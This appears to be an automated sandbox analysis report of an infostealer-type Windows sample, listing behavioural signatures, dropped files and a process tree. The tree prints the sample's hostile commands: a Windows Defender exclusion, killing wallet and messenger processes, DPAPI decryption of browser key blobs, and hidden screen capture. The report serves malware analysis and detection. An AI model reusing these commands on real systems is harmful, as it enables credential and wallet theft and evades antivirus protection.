Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/07/2026, 00:14

General

  • Target
    2026-06-30_206c470b0d9c70b3767dde496b49f996_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
  • Size 43.2MB
  • Sample260701-ajf47act8w
  • SHA256 c64d95e35ee4d188c408e410ac8d4dd6a2430a31c28a21756abc02a16b07ad1f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops desktop.ini file(s) 6 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-30_206c470b0d9c70b3767dde496b49f996_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-30_206c470b0d9c70b3767dde496b49f996_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Users\Admin\AppData\Local\Temp\2026-06-30_206c470b0d9c70b3767dde496b49f996_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
      C:\Users\Admin\AppData\Local\Temp\2026-06-30_206c470b0d9c70b3767dde496b49f996_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe C:\snapshot\Kynix_Bot\builds\3855682a\kynix.js --hidden
      2⤵
      • Drops desktop.ini file(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:52
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4000
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2316
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:6044
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4860
          • C:\Windows\system32\netsh.exe
            netsh advfirewall show allprofiles state
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:3092
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5784
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1848
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2024
          • C:\Windows\system32\reg.exe
            reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
            4⤵
            • Modifies registry key
            PID:1900
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3428
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            4⤵
            • Gathers network information
            PID:2624
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1940
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:1112
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1782864886008.vbs""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4020
          • C:\Windows\system32\cscript.exe
            cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1782864886008.vbs"
            4⤵
              PID:4976
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "net session"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5208
            • C:\Windows\system32\net.exe
              net session
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2808
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                5⤵
                  PID:5648
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4732
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4440
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1628
              • C:\Windows\system32\taskkill.exe
                taskkill /IM Steam.exe /F
                4⤵
                • Kills process with taskkill
                PID:3924
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4484
              • C:\Windows\system32\taskkill.exe
                taskkill /IM javaw.exe /F
                4⤵
                • Kills process with taskkill
                PID:3496
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3864
              • C:\Windows\system32\taskkill.exe
                taskkill /IM Exodus.exe /F
                4⤵
                • Kills process with taskkill
                PID:1752
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAMPfi79GKeqpHUyB/Uhaf0K8wwy9+JwaxSHzZ1+TIzI9AAAAAA6AAAAAAgAAIAAAAE3fyXNykwjwH1tBMLzw1RNSwNuPoSlfWxIomj/4fO/4MAAAAA/LSuB2+BCu9dsdB1KdGGjFo/LjPIGhXb+YQca6WuJ1PjrvpL+w9lClSwJn/Tdhw0AAAABJvTWlvvKHtGqnic7tfFZ9ih++VINdw/idZ1KlBefX6Y11PSqU6k7J3SVNOjbSk9Zy+exfzeD123ESiQFa/HKG');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5644
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAMPfi79GKeqpHUyB/Uhaf0K8wwy9+JwaxSHzZ1+TIzI9AAAAAA6AAAAAAgAAIAAAAE3fyXNykwjwH1tBMLzw1RNSwNuPoSlfWxIomj/4fO/4MAAAAA/LSuB2+BCu9dsdB1KdGGjFo/LjPIGhXb+YQca6WuJ1PjrvpL+w9lClSwJn/Tdhw0AAAABJvTWlvvKHtGqnic7tfFZ9ih++VINdw/idZ1KlBefX6Y11PSqU6k7J3SVNOjbSk9Zy+exfzeD123ESiQFa/HKG');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1788
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAjY4O9y90m7hFd1oTMjUOmAGnNU7Emu3SSSqe+b0KB1YAAAAADoAAAAACAAAgAAAAg2GzmX9izmVh/agwje4Nb8qWQRjliCAeCpSQp83S86MwAAAAAjYbz053K9e9Ei9d/yACP1+UeHya75LUss3sRy4Q0jUbCMMqqDRO7vnC6T/KgJJWQAAAAL7SZTXvTdeTnSy+o12CWiil592nWVmkdqfZgGH/XsaUc028yaeUu0r94pQpziYjHalFOTfZUuxEJw+2grM3PlA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2192
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAg3ECrjJumUK8bY7VOpjV8RAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAjY4O9y90m7hFd1oTMjUOmAGnNU7Emu3SSSqe+b0KB1YAAAAADoAAAAACAAAgAAAAg2GzmX9izmVh/agwje4Nb8qWQRjliCAeCpSQp83S86MwAAAAAjYbz053K9e9Ei9d/yACP1+UeHya75LUss3sRy4Q0jUbCMMqqDRO7vnC6T/KgJJWQAAAAL7SZTXvTdeTnSy+o12CWiil592nWVmkdqfZgGH/XsaUc028yaeUu0r94pQpziYjHalFOTfZUuxEJw+2grM3PlA=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2772
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5320
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:2012
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5800
              • C:\Windows\system32\taskkill.exe
                taskkill /IM Telegram.exe /F
                4⤵
                • Kills process with taskkill
                PID:1508

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 908e3c6d988ee26ee92e4ea068dfe57d15f852626a27533a103c3af955a73c52
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_ddfqytgt.wfa.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ddfqytgt.wfa.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              system_check_1782864886008.vbs

              • Path C:\Users\Admin\AppData\Local\Temp\system_check_1782864886008.vbs
              • Size 216B
              • SHA256 600663b0860f7c0f136c9a9fb273d878feea20ba12222e68742da5ff7d18ccb4
              • MD5 SHA1 SHA512 TLSH

              ff3wul8epm.zip

              • Path C:\Users\Admin\AppData\Local\c74e562680114704\ff3wul8epm.zip
              • Size 9.5MB
              • SHA256 7676480e264a91083d8dfcbffe7ae95cb11076e98d2646ccfb18b025f3fc7af2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/1788-26-0x000001AA7A5D0000-0x000001AA7A620000-memory.dmp

              memory/4440-12-0x00000169F87F0000-0x00000169F8812000-memory.dmp

              memory/4440-17-0x00000169F8A80000-0x00000169F8A9E000-memory.dmp

              memory/4440-18-0x00000169F8AA0000-0x00000169F8B52000-memory.dmp

              memory/4440-19-0x00000169F8B60000-0x00000169F8B6A000-memory.dmp